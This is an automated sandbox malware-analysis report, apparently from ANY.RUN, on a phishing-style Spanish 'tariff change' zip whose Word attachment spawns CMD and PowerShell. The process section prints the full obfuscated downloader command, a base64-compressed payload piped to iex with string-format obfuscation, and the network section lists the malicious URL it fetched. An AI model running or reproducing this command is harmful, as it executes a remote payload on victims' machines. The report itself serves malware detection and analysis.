File name:

Modificación de su tarifa de 07 noviembre 2018.zip

Full analysis: https://app.any.run/tasks/89f24b5b-3f5e-438a-baad-80153bc79541
Verdict: Malicious activity
Analysis date: November 08, 2018, 14:34:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
maldoc-4
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract
MD5:

67A50DCB93DE4624D27109D2FB9DB394

SHA1:

0282F149E6FB966719C9F8FDE9E32AF2B4704C14

SHA256:

78B277F3F9ADFF6103B93D1EF354AF3D1BD54A3549263463F5DC3873DE6C1D32

SSDEEP:

768:MhmzCZ+N3UmCKmvm33dt44KCbpO6M98VS3xQJ+N8jBnrnIxndQYDNfDPa0VY0:MgzC415Nm+ndt4tyOoVYCJ88BCyYNrCS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2248)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2248)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • WinRAR.exe (PID: 3132)
      • OUTLOOK.EXE (PID: 1404)
      • WINWORD.EXE (PID: 2248)

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 1404)
      • powershell.exe (PID: 3908)

    • Reads Internet Cache Settings

      • OUTLOOK.EXE (PID: 1404)

    • Application launched itself

      • WINWORD.EXE (PID: 2248)

    • Executes PowerShell scripts

      • CMD.exe (PID: 3584)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2248)
      • OUTLOOK.EXE (PID: 1404)
      • WINWORD.EXE (PID: 2552)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2248)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 51
ZipBitFlag: 0x0001
ZipCompression: Unknown (99)
ZipModifyDate: 2018:11:08 11:19:00
ZipCRC: 0x00000000
ZipCompressedSize: 46960
ZipUncompressedSize: 112640
ZipFileName: Modificaci?n de su tarifa de 07 noviembre 2018.msg
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs outlook.exe winword.exe no specs winword.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1404"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\Rar$DIb3132.21392\Modificación de su tarifa de 07 noviembre 2018.msg"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE
WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
14.0.6025.1000
Modules
Images
c:\progra~1\micros~1\office14\outlook.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2248"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\IQA1S2F0\Acuerdo.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2552"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3132"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Modificación de su tarifa de 07 noviembre 2018.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
3584CMD CMd.exE /c "SEt mfa=(NEw-objECT sYSTem.Io.strEAmrEaDer( ( NEw-objECT io.comPreSsioN.deflATEsTReam( [io.memOrySTReam][CONvERT]::froMBasE64stRIng( 'TZBRa4MwFIX/Sh4Caekaafuw0SCUdpS6dWPQje5hLxpvl9iYOI2mTvzvU2Hg6/2+c+BcvNsrX4ObmygBbtErWHqGaKckaMtwkux8IqzN1p7nnKMFmKKOKTepF9TvQq+CzYiWGdwogFf9fJRPq+39P0slF6CggjyWQ3YfQWEvv+Nslndcc2l0pspisLblsebLw/Nx7H1DnksrwjTUmsbgibdloOIXQk+ZknZCNmTK8EFw5COyWDwQhj+d8zHoam0hzWbki8x6PiMUbkDYxeQQcjHB5yRCUqN+8rSxed3g7jX00TitTBjvpYLBuUN94ZQFujJXmAdd6XBhUddzZS0PLRdN2/4B' ) ,[sYSTeM.io.cOMPrEssIon.cOMPRESSioNmoDe]::DecomPReSS )), [TeXt.EnCodinG]::asCIi)).rEadtOEnd() ^|iex&& PowERShEll $oK8 = [Type]( \"{3}{0}{2}{1}\"-f 'nVIR','nT','Onme','e') ; ${eXEcutIOnCoNTeXt}.\"In`VOKE`co`MmaNd\".(\"{1}{2}{0}\"-f 't','InvOK','EsCrIp' ).Invoke( ( ( ^& ( \"{0}{1}\"-f 'gC','i') ( \"V\" + \"aRI\"+\"abL\" + \"E:OK8\") ).\"v`Alue\"::( \"{5}{4}{3}{2}{1}{0}{6}\"-f'iAb','aR','MENTV','N','Ro','getENVI','lE').Invoke( 'mFa',(\"{0}{1}\" -f 'PROCe','SS' ) ) ))" C:\Windows\system32\CMD.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3908PowERShEll $oK8 = [Type]( \"{3}{0}{2}{1}\"-f 'nVIR','nT','Onme','e') ; ${eXEcutIOnCoNTeXt}.\"In`VOKE`co`MmaNd\".(\"{1}{2}{0}\"-f 't','InvOK','EsCrIp' ).Invoke( ( ( & ( \"{0}{1}\"-f 'gC','i') ( \"V\" + \"aRI\"+\"abL\" + \"E:OK8\") ).\"v`Alue\"::( \"{5}{4}{3}{2}{1}{0}{6}\"-f'iAb','aR','MENTV','N','Ro','getENVI','lE').Invoke( 'mFa',(\"{0}{1}\" -f 'PROCe','SS' ) ) ))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CMD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
3 859
Read events
3 039
Write events
793
Delete events
27

Modification events

(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3132) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Modificación de su tarifa de 07 noviembre 2018.zip
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
Operation:writeName:{0006F045-0000-0000-C000-000000000046} {000214FA-0000-0000-C000-000000000046} 0xFFFF
Value:
0100000000000000E8806C3F7077D401
(PID) Process:(3132) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
Operation:writeName:{0006F045-0000-0000-C000-000000000046} {000214EB-0000-0000-C000-000000000046} 0xFFFF
Value:
01000000000000009C45713F7077D401
Executable files
0
Suspicious files
6
Text files
24
Unknown types
3

Dropped files

PID
Process
Filename
Type
1404OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVRC714.tmp.cvr —
MD5:—
SHA256:—
1404OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\~DFF8830F60D757D89E.TMP —
MD5:—
SHA256:—
1404OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\IQA1S2F0\Acuerdo (2).doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
2248WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE913.tmp.cvr —
MD5:—
SHA256:—
2248WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_4B655553-6188-4851-9352-C13634A63188.0\FDB1A2CB.doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
2552WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_4B655553-6188-4851-9352-C13634A63188.0\~DF4DB202B38B5B47C7.TMP —
MD5:—
SHA256:—
3908powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\684T394A4R6GW8ZF2TS0.temp —
MD5:—
SHA256:—
1404OUTLOOK.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotmpgc
MD5:—
SHA256:—
3132WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb3132.21392\Modificación de su tarifa de 07 noviembre 2018.msgmsg
MD5:—
SHA256:—
1404OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Outlook\RoamCache\Stream_Calendar_2_165DA321AD1C5F45878E6752597F7CDB.datxml
MD5:B21ED3BD946332FF6EBC41A87776C6BB
SHA256:B1AAC4E817CD10670B785EF8E5523C4A883F44138E50486987DC73054A46F6F4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1404
OUTLOOK.EXE
GET
—
64.4.26.155:80
http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig
US
—
—
whitelisted
3908
powershell.exe
GET
—
69.163.156.184:80
http://www.seosyd.com/IyThn3I
US
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1404
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted
3908
powershell.exe
69.163.156.184:80
www.seosyd.com
New Dream Network, LLC
US
malicious

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
www.seosyd.com
  • 69.163.156.184
malicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
Modificación de su tarifa de 07 noviembre 2018.zip